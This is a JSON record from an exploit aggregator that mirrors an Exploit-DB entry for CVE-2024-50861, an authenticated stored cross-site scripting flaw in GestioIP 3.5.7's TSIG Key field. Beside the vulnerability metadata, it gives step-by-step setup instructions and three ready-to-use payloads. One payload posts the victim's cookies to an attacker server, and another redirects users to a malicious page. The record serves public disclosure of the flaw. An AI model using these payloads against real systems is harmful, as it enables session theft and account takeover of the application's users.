{"exploit":{"id":"EDB-52201","name":"GestioIP 3.5.7 - 'tsig_key' Authenticated Stored Cross-Site Scripting (XSS)","description":"GestioIP 3.5.7 - 'tsig_key' Authenticated Stored Cross-Site Scripting (XSS)","cves":["CVE-2024-50861"],"author":"Maximiliano Belino","published":"2025-04-14","platform":"cgi","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52201","path":"exploits/cgi/remote/52201.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52201.txt","vulnerabilities":[{"id":"CVE-2024-50861","state":"PUBLISHED","title":null,"titleSource":null,"description":"The ip_mod_dns_key_form.cgi request in GestioIP v3.5.7 is vulnerable to Stored XSS. An attacker can inject malicious code into the \"TSIG Key\" field, which is saved in the database and triggers XSS when viewed, enabling data exfiltration and CSRF attacks.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-50861","cvss":{"version":"3.1","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-50861"},"updatedAt":"2025-01-15T16:42:31.035Z","retrievedAt":"2026-11-26T17:37:45.815Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52201.png?v=2","url":"https://exploitbin.com/exploits/EDB-52201","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52201/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52201/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting\n# Exploit Author: m4xth0r (Maximiliano Belino)\n# Author website: https://maxibelino.github.io/\n# Author email: max.cybersecurity at belino.com\n# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861\n# Date: 2025-01-13\n# Vendor Homepage: https://www.gestioip.net/\n# Software Link: https://www.gestioip.net/en/download/\n# Version: GestioIP v3.5.7\n# Tested on: Kali Linux\n# CVE: CVE-2024-50861\n\n### Description\n\nThe http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the \"DNS Key\" page will trigger the Stored XSS, leading to the execution of malicious code.\n\n### Prerequisites\n\n1. Enable \"DNS Key\" Feature\nFirst, ensure that \"Dynamic DNS updates\" is enabled in the global configuration:\n\nManage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes\n\nThis will enable the following menus:\n\n    Manage > DNS Keys\n    Manage > DNS Update User\n\n2. Create a DNS Key Entry\n\nTo create a new DNS key entry and also edit an existing one, the user must belong to a group with the \"Manage Sites And Categories\" permission. By default, \"Admin\" and \"GestioIP Admin\" groups have this permission.\n\nAlso, you can configure this permission to any group under:\n\nManage > User Groups > Manage Sites and Categories\n\n3. Enter payload.\n\nOnce group permission is set, input one of the following payloads into the \"TSIG Key\" (tsig_key) field and save it.\n\n\n### Payloads\n\n1 - Test basic XSS\n\n<script>alert(\"test\")</script>\n\n\n2 - Send data (cookies) to the attacker's server\n\n<svg/onload=\"fetch('http://10.20.0.1:8000/steal_data',{method:'POST',body:document.cookie})\">\n\n\n3 - Redirect the user to a malicious site\n\n<svg/onload=\"window.location='http://10.20.0.1:8090/malicious_page.html'\">","sha256":"1fe51bdac93c9ba98fc41984269247b44123b0c65510b456abc557cd2550a787","bytes":2036,"fetchedAt":"2026-11-26T18:07:05.039Z","encoding":"utf-8 (display only; download retains original bytes)"}